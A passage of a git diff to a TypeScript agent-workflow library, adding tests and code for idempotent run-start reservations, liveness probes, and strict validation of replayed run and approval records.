'acme_thread_live', mintRunId: () => 'acme_run_live', }); - await store.claim('key-1', 'acme_run_live'); + const unclaimedReservation = await store.readForAdmission('key-1'); + if (!unclaimedReservation) throw new Error('missing reservation'); + await store.claimReservation(unclaimedReservation); runsByThread.set('acme_run_live', 'acme_thread_live'); inFlight.add('acme_run_live'); @@ -960,7 +986,9 @@ describe('createAgentThreadTopology — idempotent start', () => { threadId: 'acme_thread_dead', mintRunId: () => 'acme_run_dead', }); - await store.claim('key-1', 'acme_run_dead'); + const unclaimedReservation = await store.readForAdmission('key-1'); + if (!unclaimedReservation) throw new Error('missing reservation'); + await store.claimReservation(unclaimedReservation); // #when / #then never re-executed: whether the agent's first tool call // already fired is unknowable from here. @@ -988,8 +1016,25 @@ describe('createAgentThreadTopology — idempotent start', () => { threadId: 'acme_thread_gone', mintRunId: () => 'acme_run_gone', }); - await store.claim('key-1', 'acme_run_gone'); - await store.settleRun('acme_run_gone'); + const unclaimedReservation = await store.readForAdmission('key-1'); + if (!unclaimedReservation) throw new Error('missing reservation'); + await store.claimReservation(unclaimedReservation); + const terminalExecution = { + tablePrefix: '', + workflowId: 'durable-agentic-loop', + runId: 'acme_run_gone', + startToken: 'settled-generation', + owner: { kind: 'human' as const, id: 'operator-1' }, + target: { + kind: 'agent' as const, + id: 'writer', + threadId: 'acme_thread_gone', + }, + }; + const startedReservation = await store.readForAdmission('key-1'); + if (!startedReservation) throw new Error('missing started reservation'); + await store.bindPreparedStart(startedReservation, terminalExecution); + await store.settleExecution(terminalExecution); // #when / #then await expect( @@ -1005,7 +1050,7 @@ describe('createAgentThreadTopology — idempotent start', () => { }); }); - it('gives the claim back when the thread object reports the fence closed', async () => { + it('retains the claim when the thread object reports the fence closed', async () => { // #given a thread object refusing the start with the fence's own code — // rebuilt from a DO response, so no longer an ExecutionFencedError instance const sqlite = openSqlite(); @@ -1053,11 +1098,9 @@ describe('createAgentThreadTopology — idempotent start', () => { }) .catch((error: unknown) => error); - // #then the fence's refusal reached the caller AND the claim went back, so - // a retry after the operator reopens converges on the same run instead of - // finding a key poisoned by a drain. + // A protected HTTP refusal is not a local no-admission witness. + expect((await store.read('key-1'))?.state).toBe('started'); expect(refusal).toMatchObject({ reason: { code: 'EXECUTION_FENCED' } }); - expect((await store.read('key-1'))?.state).toBe('reserved'); }); it('leaves an unkeyed start byte-identical to before the reservation existed', async () => { @@ -1078,3 +1121,406 @@ describe('createAgentThreadTopology — idempotent start', () => { expect(await store.read('key-1')).toBeUndefined(); }); }); + +describe('FS8 D3 agent reclaim liveness transport', () => { + async function retry( + liveness: () => Promise, + state: 'reserved' | 'started' = 'reserved', + ) { + const h = keyedHarness({ now: () => 1_000, liveness }); + const { reservation } = await h.store.reserve({ + key: 'retained-key', + owner: { kind: 'human', id: 'operator-1' }, + targetKind: 'agent', + targetId: 'writer', + threadId: 'retained-thread', + mintRunId: () => 'retained-run', + }); + if (state === 'started') await h.store.claimReservation(reservation); + const before = h.sqlite + .prepare('SELECT * FROM flowsafe_start_idempotency') + .all(); + const claim = vi.spyOn(h.store, 'claimReservation'); + const outcome = await h.topology + .start(context().value, { + agentId: 'writer', + prompt: 'retry', + entryPath: 'http.start', + idempotencyKey: 'retained-key', + }) + .catch((error: unknown) => error); + const after = h.sqlite + .prepare('SELECT * FROM flowsafe_start_idempotency') + .all(); + return { ...h, claim, before, after, outcome }; + } + + it.each([ + true, + false, + ])('uses an explicit boolean %s from the recorded host', async (live) => { + const h = await retry(async () => Response.json({ live })); + const probe = h.hits.find((hit) => hit.url.endsWith('/start-liveness')); + expect(probe).toMatchObject({ + threadId: 'retained-thread', + url: expect.stringContaining('/runs/writer/retained-run/start-liveness'), + }); + if (live) { + expect(h.outcome).toMatchObject({ + reason: { code: 'IDEMPOTENT_START_PENDING' }, + }); + expect(h.claim).not.toHaveBeenCalled(); + expect(h.after).toEqual(h.before); + expect(h.starts).toEqual([]); + } else { + expect(h.outcome).toMatchObject({ + runId: 'retained-run', + threadId: 'retained-thread', + }); + expect(h.claim).toHaveBeenCalledOnce(); + expect(h.after[0]).toMatchObject({ state: 'started', updated_at: 1_001 }); + expect(h.starts).toEqual([ + { + threadId: 'retained-thread', + runId: 'retained-run', + key: 'retained-key', + }, + ]); + } + }); + + const malformed: Array<[string, unknown]> = [ + ['missing', {}], + ['null', null], + ['primitive', false], + ['array', Object.assign([], { live: false })], + ['inherited', Object.create({ live: false })], + ['undefined', { live: undefined }], + ['null field', { live: null }], + ['zero', { live: 0 }], + ['empty string', { live: '' }], + ['false string', { live: 'false' }], + ['true string', { live: 'true' }], + ]; + it.each( + malformed.flatMap(([name, payload]) => + (['reserved', 'started'] as const).map((state) => ({ + name, + payload, + state, + })), + ), + )('refuses $name liveness for a $state row without claiming', async ({ + payload, + state, + }) => { + const h = await retry(async () => { + const response = Response.json({}); + vi.spyOn(response, 'json').mockResolvedValue(payload); + return response; + }, state); + expect(h.outcome).toBeInstanceOf(RunRouteError); + expect(h.outcome).toMatchObject({ + status: 503, + message: 'run start liveness is not readable', + }); + expect(h.claim).not.toHaveBeenCalled(); + expect(h.after).toEqual(h.before); + expect(h.starts).toEqual([]); + }); + + it.each([ + 201, 400, 404, 503, + ])('refuses HTTP %s liveness without claiming', async (status) => { + const h = await retry(async () => + Response.json( + { live: false, error: 'private transport detail' }, + { status }, + ), + ); + expect(h.outcome).toBeInstanceOf(RunRouteError); + expect(h.outcome).toMatchObject({ + status: 503, + message: 'run start liveness is not readable', + }); + expect(h.claim).not.toHaveBeenCalled(); + expect(h.after).toEqual(h.before); + expect(h.starts).toEqual([]); + }); + + it('refuses a liveness accessor without invoking it or claiming', async () => { + const live = vi.fn(() => false); + const h = await retry(async () => { + const response = Response.json({}); + vi.spyOn(response, 'json').mockResolvedValue( + Object.defineProperty({}, 'live', { get: live }), + ); + return response; + }); + expect(live).not.toHaveBeenCalled(); + expect(h.claim).not.toHaveBeenCalled(); + expect(h.after).toEqual(h.before); + expect(h.starts).toEqual([]); + expect(h.outcome).toBeInstanceOf(RunRouteError); + expect(h.outcome).toMatchObject({ + status: 503, + message: 'run start liveness is not readable', + }); + }); + + it('refuses invalid liveness JSON without claiming', async () => { + const h = await retry(async () => new Response('{')); + expect(h.outcome).toBeInstanceOf(RunRouteError); + expect(h.outcome).toMatchObject({ + status: 503, + message: 'run start liveness is not readable', + }); + expect(h.claim).not.toHaveBeenCalled(); + expect(h.after).toEqual(h.before); + expect(h.starts).toEqual([]); + }); + + it('propagates a thrown liveness fetch without claiming', async () => { + const failure = new Error('liveness fetch failed'); + const h = await retry(async () => { + throw failure; + }); + expect(h.outcome).toBe(failure); + expect(h.claim).not.toHaveBeenCalled(); + expect(h.after).toEqual(h.before); + expect(h.starts).toEqual([]); + }); +}); + +describe('FS8 D3 protected replay agent wire', () => { + const execution = { + tablePrefix: 'private_', + workflowId: 'actual-agent-workflow', + runId: 'wire-run', + startToken: 'wire-generation', + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'agent', id: 'writer', threadId: 'wire-thread' }, + }; + const value = { + agentId: 'writer', + threadId: 'wire-thread', + resourceId: 'acme_resource_wire-thread', + runId: 'wire-run', + summary: { + runId: 'wire-run', + status: 'success', + result: { startToken: 'application-payload' }, + }, + }; + async function replay(payload: unknown, status = 200) { + const store = new StartIdempotencyStore( + sqliteUnitDatabase(openSqlite()) as StartIdempotencyDatabase, + ); + await store.reserve({ + key: 'wire-key', + owner: { kind: 'human', id: 'operator-1' }, + targetKind: 'agent', + targetId: 'writer', + threadId: 'wire-thread', + mintRunId: () => 'wire-run', + }); + const hits: string[] = []; + const topology = createAgentThreadTopology( + { + idFromName: (name: string) => name, + get: () => ({ + fetch: (async (request: Request | string) => { + const url = typeof request === 'string' ? request : request.url; + hits.push(url); + if (url.endsWith('/start-liveness')) + return Response.json({ live: true }); + return Response.json(payload, { status }); + }) as ReturnType['get']>['fetch'], + }), + }, + DEPLOYMENT_IDENTITY_SECRET, + { startIdempotency: store, executionFence: 'none' }, + ); + const outcome = await topology + .start(context().value, { + agentId: 'writer', + prompt: 'retry', + entryPath: 'http.start', + idempotencyKey: 'wire-key', + threaded: false, + }) + .then( + (result) => ({ result }), + (error: unknown) => ({ error }), + ); + return { store, hits, outcome }; + } + + it('keeps the selected agent value while omitting private and unknown structural data', async () => { + const result = await replay({ + kind: 'result', + execution, + value: { ...value, unknown: 'omit' }, + snapshot: 'omit', + }); + expect(result.outcome).toEqual({ result: value }); + expect(result.hits[0]).toContain('dispatch=1&replay=1'); + expect( + (await result.store.readForAdmission('wire-key'))?.binding, + ).toMatchObject({ + kind: 'bound', + execution: { startToken: 'wire-generation' }, + }); + }); + + it('does not associate or replay a valid initial agent identity', async () => { + const result = await replay({ kind: 'initial', execution }); + expect((await result.store.readForAdmission('wire-key'))?.binding).toEqual({ + kind: 'unbound', + }); + expect(result.hits).toHaveLength(2); + expect(result.outcome).toMatchObject({ + error: { status: 503, reason: { code: 'IDEMPOTENT_START_PENDING' } }, + }); + }); + + it.each([ + ['discriminator', { execution, value }], + ['initial value', { kind: 'initial', execution, value }], + ['missing value', { kind: 'result', execution }], + [ + 'owner', + { + kind: 'result', + execution: { ...execution, owner: { kind: 'human', id: 'other' } }, + value, + }, + ], + [ + 'agent target', + { + kind: 'result', + execution: { + ...execution, + target: { ...execution.target, id: 'other' }, + }, + value, + }, + ], + [ + 'thread target', + { + kind: 'result', + execution: { + ...execution, + target: { ...execution.target, threadId: 'other' }, + }, + value, + }, + ], + [ + 'physical run', + { kind: 'result', execution: { ...execution, runId: 'other' }, value }, + ], + [ + 'generation', + { + kind: 'result', + execution: { ...execution, startToken: undefined }, + value, + }, + ], + [ + 'prefix', + { + kind: 'result', + execution: { ...execution, tablePrefix: 'PRIVATE_' }, + value, + }, + ], + [ + 'resource', + { kind: 'result', execution, value: { ...value, resourceId: 'other' } }, + ], + [ + 'summary run', + { + kind: 'result', + execution, + value: { ...value, summary: { ...value.summary, runId: 'other' } }, + }, + ], + [ + 'pending', + { + kind: 'result', + execution, + value: { ...value, summary: { ...value.summary, status: 'pending' } }, + }, + ], + [ + 'envelope authority', + { kind: 'result', execution, value: { ...value, startToken: 'private' } }, + ], + [ + 'summary authority', + { + kind: 'result', + execution, + value: { ...value, summary: { ...value.summary, requestContext: {} } }, + }, + ], + ])('refuses malformed agent private data before association: %s', async (_field, payload) => { + const result = await replay(payload); + expect((await result.store.readForAdmission('wire-key'))?.binding).toEqual({ + kind: 'unbound', + }); + expect(result.hits).toHaveLength(1); + expect(result.outcome).toMatchObject({ + error: { status: 503, message: 'persisted start is not readable' }, + }); + }); + + it('projects approval fields and rejects foreign workflow or authority structure', async () => { + const approval = { + id: 'approval-1', + workflowId: execution.workflowId, + runId: execution.runId, + title: 'Review', + connectors: [], + priority: 'normal', + status: 'pending', + createdAt: '2026-09-07T00:00:00Z', + updatedAt: '2026-09-07T00:00:00Z', + payload: { startToken: 'application' }, + }; + const accepted = await replay({ + kind: 'result', + execution, + value: { + ...value, + approval: { ...approval, extra: 'omit' }, + approvals: [approval], + }, + }); + expect(accepted.outcome).toEqual({ + result: { ...value, approval, approvals: [approval] }, + }); + for (const replacement of [ + { workflowId: 'foreign-workflow' }, + { startToken: 'private' }, + ]) { + const refused = await replay({ + kind: 'result', + execution, + value: { ...value, approval: { ...approval, ...replacement } }, + }); + expect( + (await refused.store.readForAdmission('wire-key'))?.binding, + ).toEqual({ kind: 'unbound' }); + expect(refused.outcome).toMatchObject({ + error: { status: 503, message: 'persisted start is not readable' }, + }); + } + }); +}); diff --git a/packages/flowsafe/src/agent-host/thread-topology.ts b/packages/flowsafe/src/agent-host/thread-topology.ts index f2480812..c53dcc1b 100644 --- a/packages/flowsafe/src/agent-host/thread-topology.ts +++ b/packages/flowsafe/src/agent-host/thread-topology.ts @@ -7,15 +7,38 @@ import { type ApprovalRecord, defaultResumeData, } from '../approval-api/index.js'; +import { + isExecutionPrincipalId, + isExecutionPrincipalKind, +} from '../approval-api/principal.js'; +import { + APPROVAL_PRIORITIES, + APPROVAL_STATUSES, + canonicalApprovalResumeTarget, +} from '../approval-api/types.js'; +import type { StartExecutionIdentity } from '../do-runner/execution-admission.js'; import { beginIdempotentStart, type ExecutionFenceWiring, isPathSafeId, + type PersistedStartResult, requireStartIdempotency, - rollbackFencedStart, + resourceIdFromKey, type StartIdempotencyWiring, type StartReservation, + type StartReservationReading, } from '../do-runner/index.js'; +import { + captureReservation, + type StartReservationOwner, +} from '../do-runner/start-reservation-contract.js'; +import { + doStartLiveness, + persistedStartExecution, + persistedStartRecord, + publicRunSummary, + publicStartFields, +} from '../host-kit/do-response.js'; import { type BoundThreadTarget, type BoundThreadTargetValidator, @@ -274,9 +297,10 @@ export function createAgentThreadTopology( context: ActorContext, agentId: string, reservation: StartReservation, - ): Promise => { + ): Promise | undefined> => { const threadId = reservation.threadId; - if (threadId === undefined || !isPathSafeId(threadId)) return undefined; + if (threadId === undefined || !isPathSafeId(threadId)) + throw new RunRouteError(503, 'persisted start is not readable'); const response = await threads.send( context, threadId, @@ -286,21 +310,17 @@ export function createAgentThreadTopology( reservation.runId, )}?resourceId=${encodeURIComponent( context.resourceIdFromKey(threadId), - )}&dispatch=1`, + )}&dispatch=1&replay=1`, ); if (response.status === 404) return undefined; - return envelope(response); + return persistedEnvelope(response, { + agentId, + threadId, + resourceId: context.resourceIdFromKey(threadId), + runId: reservation.runId, + owner: reservation.owner, + }); }; - /** - * Is the reserved run executing in its thread object right now? - * - * Asked of the RECORDED thread, which is the only object that could be - * running it: an agent run is bound to one thread for its whole life. An - * unreachable or unparseable answer reads as NOT live, the fail-closed - * direction here — it produces the refusal that asks a human to investigate, - * where a default of "live" would answer a permanently dead run with a - * permanently retryable 503. - */ const reservedRunLive = async ( context: ActorContext, agentId: string, @@ -315,12 +335,7 @@ export function createAgentThreadTopology( agentId, )}/${encodeURIComponent(reservation.runId)}/start-liveness`, ); - if (response.status !== 200) return false; - try { - return ((await response.json()) as { live?: unknown }).live === true; - } catch { - return false; - } + return doStartLiveness(response); }; return { requireBoundThread: async (context, target: BoundThreadTarget) => { @@ -452,8 +467,13 @@ export function createAgentThreadTopology( targetThreadId: string, targetRunId: string, idempotencyKey?: string, - ): Promise => - envelope( + suppliedReservation?: StartReservationReading, + ): Promise => { + const startReservation = + suppliedReservation === undefined + ? undefined + : captureReservation(suppliedReservation, 'started'); + return envelope( await threads.send( { principal, mutationEpoch }, targetThreadId, @@ -474,6 +494,7 @@ export function createAgentThreadTopology( // The key rides the internal Worker-to-DO channel only, so the // fence's proof-only state can match it inside the runtime. ...(idempotencyKey === undefined ? {} : { idempotencyKey }), + ...(startReservation === undefined ? {} : { startReservation }), ...(input.scheduleId !== undefined ? { scheduleId: input.scheduleId } : {}), @@ -484,6 +505,7 @@ export function createAgentThreadTopology( }, ), ); + }; if (input.idempotencyKey === undefined) { // Unkeyed starts take the path they always took, on the thread this // call resolved. @@ -510,28 +532,22 @@ export function createAgentThreadTopology( reservedRunLive(context, input.agentId, reservation), }, options.executionFence, + mutationEpoch, ); if (decision.kind === 'replay') return decision.persisted; // The RESERVATION's thread and run, not this call's: on a re-claim of a // reservation an earlier crashed caller left behind, the recorded thread // is where that run belongs and this call's freshly minted one is not. const { reservation } = decision; - const startThreadId = reservation.threadId ?? threadId; - try { - return await sendStart( - startThreadId, - reservation.runId, - reservation.key, - ); - } catch (error) { - // Only a fence refusal gives the claim back — see rollbackFencedStart. - return rollbackFencedStart( - store, - reservation.key, - reservation.runId, - error, - ); - } + const startThreadId = reservation.threadId; + if (!isPathSafeId(startThreadId)) + throw new RunRouteError(503, 'persisted start is not readable'); + return sendStart( + startThreadId, + reservation.runId, + reservation.key, + reservation, + ); }, status: statusFromHost, dispatchStatus: dispatchStatusFromHost, @@ -648,3 +664,210 @@ export function createAgentThreadTopology( }, }; } + +function publicApproval( + value: unknown, + execution: StartExecutionIdentity, +): ApprovalRecord { + const record = publicStartFields(value, [ + 'id', + 'workflowId', + 'runId', + 'stepPath', + 'title', + 'summary', + 'payload', + 'connectors', + 'grantScope', + 'toolCallId', + 'priority', + 'status', + 'requestedBy', + 'requestedByKind', + 'claimedBy', + 'decidedBy', + 'decision', + 'comment', + 'delegatedTo', + 'createdAt', + 'updatedAt', + 'claimedAt', + 'decidedAt', + 'escalatedAt', + 'slaDeadlineAt', + 'suspendedAt', + 'resumedAt', + 'resumeCount', + 'runScoped', + 'resumeTarget', + ]); + const invalid = (): never => { + throw new RunRouteError(503, 'persisted start is not readable'); + }; + if ( + !isPathSafeId(record.id) || + record.workflowId !== execution.workflowId || + record.runId !== execution.runId || + typeof record.title !== 'string' || + typeof record.createdAt !== 'string' || + typeof record.updatedAt !== 'string' || + !(APPROVAL_PRIORITIES as readonly unknown[]).includes(record.priority) || + !(APPROVAL_STATUSES as readonly unknown[]).includes(record.status) + ) + invalid(); + for (const field of ['connectors', 'stepPath']) { + if ( + (field === 'connectors' || record[field] !== undefined) && + (!Array.isArray(record[field]) || + (record[field] as unknown[]).some((part) => typeof part !== 'string')) + ) + invalid(); + } + for (const field of [ + 'summary', + 'toolCallId', + 'claimedBy', + 'decidedBy', + 'comment', + 'delegatedTo', + 'claimedAt', + 'decidedAt', + 'escalatedAt', + 'slaDeadlineAt', + ]) { + if (record[field] !== undefined && typeof record[field] !== 'string') + invalid(); + } + if ( + record.requestedBy !== undefined && + !isExecutionPrincipalId(record.requestedBy) + ) + invalid(); + if ( + record.requestedByKind !== undefined && + (!isExecutionPrincipalKind(record.requestedByKind) || + record.requestedBy === undefined) + ) + invalid(); + if ( + record.grantScope !== undefined && + !['tool-call', 'suspension', 'run'].includes(record.grantScope as string) + ) + invalid(); + if ( + record.decision !== undefined && + record.decision !== 'approve' && + record.decision !== 'reject' + ) + invalid(); + if (record.runScoped !== undefined && typeof record.runScoped !== 'boolean') + invalid(); + for (const field of ['suspendedAt', 'resumedAt', 'resumeCount']) { + const value = record[field]; + if ( + value !== undefined && + (typeof value !== 'number' || + !Number.isFinite(value) || + (field === 'resumeCount' && + (!Number.isSafeInteger(value) || value < 0))) + ) + invalid(); + } + if (record.resumeTarget !== undefined) { + const target = canonicalApprovalResumeTarget(record.resumeTarget); + if (!target) invalid(); + if ( + target?.kind === 'agent-thread' && + (execution.target.kind !== 'agent' || + target.agentId !== execution.target.id || + target.threadId !== execution.target.threadId || + target.resourceId !== resourceIdFromKey(target.threadId)) + ) + invalid(); + record.resumeTarget = target; + } + return record as unknown as ApprovalRecord; +} + +/** @internal Project the private replay envelope without execution authority. */ +export function publicAgentRunEnvelope( + value: unknown, + execution: StartExecutionIdentity, + expected: { + agentId: string; + threadId: string; + resourceId: string; + runId: string; + }, +): AgentRunEnvelope { + const source = publicStartFields(value, [ + 'agentId', + 'threadId', + 'resourceId', + 'runId', + 'summary', + 'approval', + 'approvals', + ]); + if ( + source.agentId !== expected.agentId || + source.threadId !== expected.threadId || + source.resourceId !== expected.resourceId || + source.runId !== expected.runId + ) + throw new RunRouteError(503, 'persisted start is not readable'); + const result: AgentRunEnvelope = { + agentId: expected.agentId, + threadId: expected.threadId, + resourceId: expected.resourceId, + runId: expected.runId, + summary: publicRunSummary(source.summary, expected.runId), + }; + if (source.approval !== undefined) + result.approval = publicApproval(source.approval, execution); + if (source.approvals !== undefined) { + if (!Array.isArray(source.approvals)) + throw new RunRouteError(503, 'persisted start is not readable'); + result.approvals = source.approvals.map((approval) => + publicApproval(approval, execution), + ); + } + return result; +} + +async function persistedEnvelope( + response: Response, + expected: { + agentId: string; + threadId: string; + resourceId: string; + runId: string; + owner: StartReservationOwner; + }, +): Promise> { + if (!response.ok) throw await errorFrom(response); + try { + const payload = persistedStartRecord(await response.json()); + const execution = persistedStartExecution(payload.execution); + if ( + execution.runId !== expected.runId || + execution.owner.kind !== expected.owner.kind || + execution.owner.id !== expected.owner.id || + execution.target.kind !== 'agent' || + execution.target.id !== expected.agentId || + execution.target.threadId !== expected.threadId + ) + throw new Error('selector mismatch'); + if (payload.kind === 'initial' && !Object.hasOwn(payload, 'value')) + return { kind: 'initial', execution }; + if (payload.kind !== 'result' || !Object.hasOwn(payload, 'value')) + throw new Error('invalid result'); + return { + kind: 'result', + execution, + value: publicAgentRunEnvelope(payload.value, execution, expected), + }; + } catch { + throw new RunRouteError(503, 'persisted start is not readable'); + } +} diff --git a/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts b/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts index 6398433a..349611ce 100644 --- a/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts +++ b/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts @@ -40,7 +40,15 @@ import { denyPatterns, type Role, } from '@proofoftech/breakwater'; -import { afterEach, describe, expect, it, vi } from 'vitest'; +import { + afterEach, + assert, + describe, + expect, + expectTypeOf, + it, + vi, +} from 'vitest'; import { z } from 'zod'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; @@ -64,12 +72,15 @@ import { type StartRunOptions, } from '../do-runner/index.js'; import { init } from '../do-runner/init.js'; +import { RunStateUnreadableError } from '../do-runner/runtime.js'; import { type AgentStartAuthority, + type AuthoritativeAgentStartState, createFlowsafeDurableAgent, DURABLE_AGENTIC_LOOP_WORKFLOW_ID, type FlowsafeDurableAgent, isRuntimeDrivenAgent, + type LegacyAgentRunState, } from './durable-agent-runner.js'; // A fake runtime that records register() and start() and models the shared-id @@ -422,6 +433,7 @@ function cLocalModel(onCall: () => void): MastraModelConfig { async function cRealBridge( provider?: RequestContextProvider, modelFault?: Error, + threaded = false, ) { const sql = openSqlite() as ReturnType & { close(): void }; const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase; @@ -480,6 +492,7 @@ async function cRealBridge( id: 'writer', name: 'Writer', instructions: 'Return done.', + ...(threaded ? { memory: new MockMemory() } : {}), model: cLocalModel(() => { counts.model++; if (modelFault) throw modelFault; @@ -690,7 +703,7 @@ describe('C agent bridge capture', () => { 1, 2, 3, - ])('C real agent bridge preserves active epoch compatibility at Runtime: %s', async (epoch) => { + ])('C real agent bridge enforces active mutation epoch at Runtime: %s', async (epoch) => { const { sql, fence, workflows, counts, runtime, agent, start } = await cRealBridge(); const runId = `real-epoch-${epoch ?? 'missing'}`; @@ -713,7 +726,7 @@ describe('C agent bridge capture', () => { mutationEpoch: 2, requireMutationEpoch: true, }); - result = await agent.streamUntilPersisted( + const pending = agent.streamUntilPersisted( 'Return done.', { runId, maxSteps: 1, disableBackgroundTasks: true }, 'operator-1', @@ -723,6 +736,12 @@ describe('C agent bridge capture', () => { undefined, authority, ); + if (epoch !== 2) { + await expect(pending).rejects.toThrow('mutation epoch does not match'); + expect(counts.model).toBe(0); + return; + } + result = await pending; expect(await result.output.text).toBe('done'); await globalRunRegistry.get(runId)?.workflowExecution; expect( @@ -738,10 +757,13 @@ describe('C agent bridge capture', () => { runId, }); expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({ - version: 1, + version: 2, requestedBy: 'operator-1', requestedByKind: 'human', - startToken: attemptToken, + startToken: expect.any(String), + mutationEpoch: 2, + startIdentity: authority.startIdentity, + agentStart: authority.agentStart, attemptToken, resumeCounts: [], }); @@ -757,8 +779,8 @@ describe('C agent bridge capture', () => { expect(snapshot?.requestContext).not.toHaveProperty(key); expect(counts).toEqual({ model: 1, - callback: 0, - admission: 0, + callback: 1, + admission: 1, terminalization: 0, }); } finally { @@ -769,8 +791,8 @@ describe('C agent bridge capture', () => { globalRunRegistry.delete(runId); start.mockRestore(); sql.close(); - expect(counts.callback).toBe(0); - expect(counts.admission).toBe(0); + expect(counts.callback).toBe(epoch === 2 ? 1 : 0); + expect(counts.admission).toBe(epoch === 2 ? 1 : 0); expect(counts.terminalization).toBe(0); } }); @@ -779,7 +801,7 @@ describe('C agent bridge capture', () => { 'provider-failure', 'model-failure', 'lost-receipt', - ] as const)('C real agent failure and terminal recovery keep v1 without automatic activation: %s', async (phase) => { + ] as const)('C real agent failure and terminal recovery keep the verified v2 generation: %s', async (phase) => { const fault = new Error(`C real ${phase}`); const f = await cRealBridge( phase === 'provider-failure' @@ -876,10 +898,13 @@ describe('C agent bridge capture', () => { 'success', ); expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({ - version: 1, + version: 2, requestedBy: 'operator-1', requestedByKind: 'human', - startToken: attemptToken, + startToken: expect.any(String), + mutationEpoch: 2, + startIdentity: authority.startIdentity, + agentStart: authority.agentStart, attemptToken, resumeCounts: [], }); @@ -906,8 +931,8 @@ describe('C agent bridge capture', () => { persistence.mockRestore(); f.start.mockRestore(); f.sql.close(); - expect(f.counts.callback).toBe(0); - expect(f.counts.admission).toBe(0); + expect(f.counts.callback).toBe(phase === 'provider-failure' ? 0 : 1); + expect(f.counts.admission).toBe(phase === 'provider-failure' ? 0 : 1); expect(f.counts.terminalization).toBe(0); } }); @@ -1793,6 +1818,89 @@ describe('FlowsafeDurableAgent.executeWorkflow', () => { }); }); +describe('FlowsafeDurableAgent.isRunLive', () => { + afterEach(() => { + vi.restoreAllMocks(); + }); + + it.each([ + 'global', + 'internal', + ] as const)('shares the refusal predicate for an isolated %s registry entry', async (source) => { + const { runtime, start } = fakeRuntime(); + const agent = createFlowsafeDurableAgent({ agent: testAgent(), runtime }); + const seedRunId = `live-seed-${source}`; + const runId = `live-${source}`; + try { + const prepared = await agent.prepare('hello', { runId: seedRunId }); + if (source === 'global') + globalRunRegistry.set(runId, prepared.registryEntry); + else registryFor(agent).register(runId, prepared.registryEntry); + const stream = vi.spyOn(DurableAgent.prototype, 'stream'); + expect(globalRunRegistry.has(runId)).toBe(source === 'global'); + expect(registryFor(agent).has(runId)).toBe(source === 'internal'); + expect(agent.isRunLive(runId)).toBe(true); + expect(agent.isRunLive('live-absent')).toBe(false); + await expect(agent.stream('duplicate', { runId })).rejects.toThrow( + 'run id is live in the run registry — a registered run cannot be re-entered', + ); + expect(stream).not.toHaveBeenCalled(); + expect(start).not.toHaveBeenCalled(); + } finally { + for (const fixtureRunId of [runId, seedRunId]) { + registryFor(agent).cleanup(fixtureRunId); + globalRunRegistry.delete(fixtureRunId); + } + } + expect(agent.isRunLive(runId)).toBe(false); + }); + + it('shares the refusal predicate while a host stream awaits Core registration', async () => { + const { runtime, start } = fakeRuntime(); + const agent = createFlowsafeDurableAgent({ agent: testAgent(), runtime }); + const runId = 'live-starting'; + const entered = bridgeDeferred(); + const release = bridgeDeferred(); + const failure = new Error('fixture stream refusal'); + const stream = vi + .spyOn(DurableAgent.prototype, 'stream') + .mockImplementation(async () => { + entered.resolve(); + await release.promise; + throw failure; + }); + const pending = agent + .streamUntilPersisted( + 'first', + { runId }, + 'operator-1', + 'human', + undefined, + undefined, + undefined, + startAuthority(), + ) + .catch((error: unknown) => error); + try { + await entered.promise; + expect(globalRunRegistry.has(runId)).toBe(false); + expect(registryFor(agent).has(runId)).toBe(false); + expect(agent.isRunLive(runId)).toBe(true); + expect(agent.isRunLive('live-absent')).toBe(false); + await expect(agent.stream('duplicate', { runId })).rejects.toThrow( + 'run id is live in the run registry — a registered run cannot be re-entered', + ); + expect(stream).toHaveBeenCalledOnce(); + expect(start).not.toHaveBeenCalled(); + } finally { + release.resolve(); + await pending; + } + expect(await pending).toBe(failure); + expect(agent.isRunLive(runId)).toBe(false); + }); +}); + describe('FlowsafeDurableAgent.streamUntilPersisted', () => { afterEach(() => { vi.restoreAllMocks(); @@ -2711,3 +2819,543 @@ describe('FlowsafeDurableAgent.executeWorkflow failed run', () => { expect(emitError.mock.calls[0]?.[1]?.message).toBe('boom'); }); }); + +async function d3AgentObservationFixture(threaded: boolean, customIds = false) { + const f = await cRealBridge(); + const workflow = f.agent.getWorkflow(); + if (customIds) { + Object.defineProperty(f.agent, 'id', { value: 'display-agent' }); + Object.defineProperty(workflow, 'id', { value: 'actual-agent-loop' }); + f.runtime.register( + workflow as unknown as import('@mastra/core/workflows').AnyWorkflow, + ); + } + await f.runtime.status(workflow.id, 'd3-agent'); + const snapshot = { + runId: 'd3-agent', + status: 'pending', + context: {}, + requestContext: { + 'flowsafe.runProvenance': { + version: 2, + startToken: 'S1', + attemptToken: 'H', + requestedBy: 'operator-1', + requestedByKind: 'human', + resumeCounts: [], + startIdentity: { + owner: { kind: 'human', id: 'operator-1' }, + target: { kind: 'agent', id: 'writer', threadId: 'thread-1' }, + }, + agentStart: { threaded }, + }, + }, + value: {}, + serializedStepGraph: [], + activePaths: [], + activeStepsPath: {}, + suspendedPaths: {}, + resumeLabels: {}, + waitingPaths: {}, + timestamp: 100, + }; + const seed = () => + f.workflows.persistWorkflowSnapshot({ + workflowName: workflow.id, + runId: 'd3-agent', + snapshot: + snapshot as unknown as import('@mastra/core/workflows').WorkflowRunState, + }); + await seed(); + return { ...f, workflow, snapshot, seed }; +} + +describe('FS8 D3 agent observation', () => { + it.each([ + false, + true, + ])('R11 reads initial mode %s without input or optional pruned context', async (threaded) => { + const f = await d3AgentObservationFixture(threaded, true); + try { + const capability = f.workflows[FENCED_WORKFLOW_STORAGE]; + assert(capability); + const read = vi.spyOn(capability, 'readSnapshot'); + const state = await f.agent + .authoritativeAgentStartState(f.runtime, 'thread-1', 'd3-agent') + .catch((error) => error); + expect(state).toMatchObject({ + kind: 'initial', + threaded, + execution: { + workflowId: 'actual-agent-loop', + startToken: 'S1', + owner: { id: 'operator-1' }, + target: { id: 'writer', threadId: 'thread-1' }, + }, + }); + expect(state).not.toHaveProperty('summary'); + expect(read).toHaveBeenCalledOnce(); + expect(f.counts.model).toBe(0); + await expect( + f.agent.proofExecutionFor(f.runtime, 'thread-1', 'd3-agent'), + ).resolves.toEqual({ + tablePrefix: '', + 